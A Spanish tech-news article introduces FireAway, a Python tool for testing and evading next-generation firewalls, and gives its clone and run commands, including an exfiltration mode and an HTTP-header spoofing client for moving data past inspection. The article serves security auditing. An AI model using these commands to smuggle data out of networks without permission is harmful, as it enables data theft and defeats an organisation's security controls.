FireAway: Herramienta en Python para saltarte los Next-Generation Firewall

Escrito por Sergio De Luz

Los nuevos firewall que suelen utilizar las empresas son los denominados Next-Generation Firewall, unos cortafuegos que combinan las tecnologías de los firewall tradicionales como por ejemplo filtrado de paquetes, NAT, Stateful Packet Inspection, soporte para VPN, con un filtrado del contenido del paquete a nivel de aplicación y un IDS/IPS incorporado. FireAway es una herramienta que nos va a permitir saltarnos estos nuevos cortafuegos.

¿Qué hace FireAway para saltarse los Next-Generation Firewalls?

FireAway permite auditar, traspasar e incluso exfiltrar información de la organización, atravesando o saltándose los Next-Generation Firewalls. Como hemos dicho anteriormente, este tipo de Firewall permiten hacer inspección en la capa de aplicación, por lo que los propios firewall inspeccionan el contenido de los paquetes transmitidos.

Para conseguir atravesar las políticas de seguridad de estos cortafuegos, Fireaway que está escrito en lenguaje Python, intenta ofuscar la información enviada. Para poder “ofuscar” esta información, utiliza dos técnicas:

  • Test mode (modo 0): Envía datos aleatorios dentro de trozos. Estos trozos van teniendo cada vez más datos, llegando hasta el límite donde el cortafuegos los filtre y detenga todo el flujo de tráfico.
  • Exfiltration mode (modo 1): En este modo de funcionamiento, el programa es capaz de enviar los archivos fragmentados para intentar evadir el control del cortafuegos.

Descarga y ejecución

Este proyecto está disponible de manera completamente gratuita en la página de FireAway en GitHub, desde aquí podréis descargar el código fuente o también clonar el repositorio entero.

git clone https://github.com/tcstool/fireaway

Una vez que hayamos descargado los .py de GitHub o clonado el repositorio entero, ya podremos ejecutar la herramienta.

firewall

¿Cómo funciona FireAway?

Lo primero que tenemos que hacer es ejecutar el servidor FireAway en un servidor o equipo con acceso a Internet, y sin que ningún firewall esté limitando el acceso. Para hacer esto simplemente debemos poner la siguiente orden dentro de la carpeta donde hayamos descargado la herramienta:

python fa_server.py <puerto donde escuchar>

Una vez que hayamos ejecutado el servidor, todos los datos que recibamos en este puerto, se guardarán directamente en un archivo nuevo llamado ReceivedData.txt. Si el programa detecta que recibimos datos con diferentes tamaños, podría indicar que un firewall está filtrando los datos, por lo que nos saldrá un aviso diciéndonos esto.

Una vez ejecutado el servidor, la sintaxis para ejecutar el cliente es la siguiente

python fa_client.py <IP_SERVIDOR> <PUERTO FIREAWAY> <Client mode (0 or 1)>

También podemos ejecutar el cliente spoofing, esta herramienta nos servirá para insertar aleatoriamente datos en las cabeceras HTTP, ideal para enmascarar los datos que queramos enviar. La sintaxis es igual a la anterior:

python fa_spoof.py <IP_SERVIDOR> <PUERTO FIREAWAY> <Client mode (0 or 1)>

Os recomendamos visitar la página web de FireAway en Github donde encontraréis toda la información sobre esta útil herramienta.

Últimos análisis

Valoración RZ
7
Valoración RZ
9
Valoración RZ
8
Valoración RZ
8
Valoración RZ
8
Valoración RZ
8
Valoración RZ
10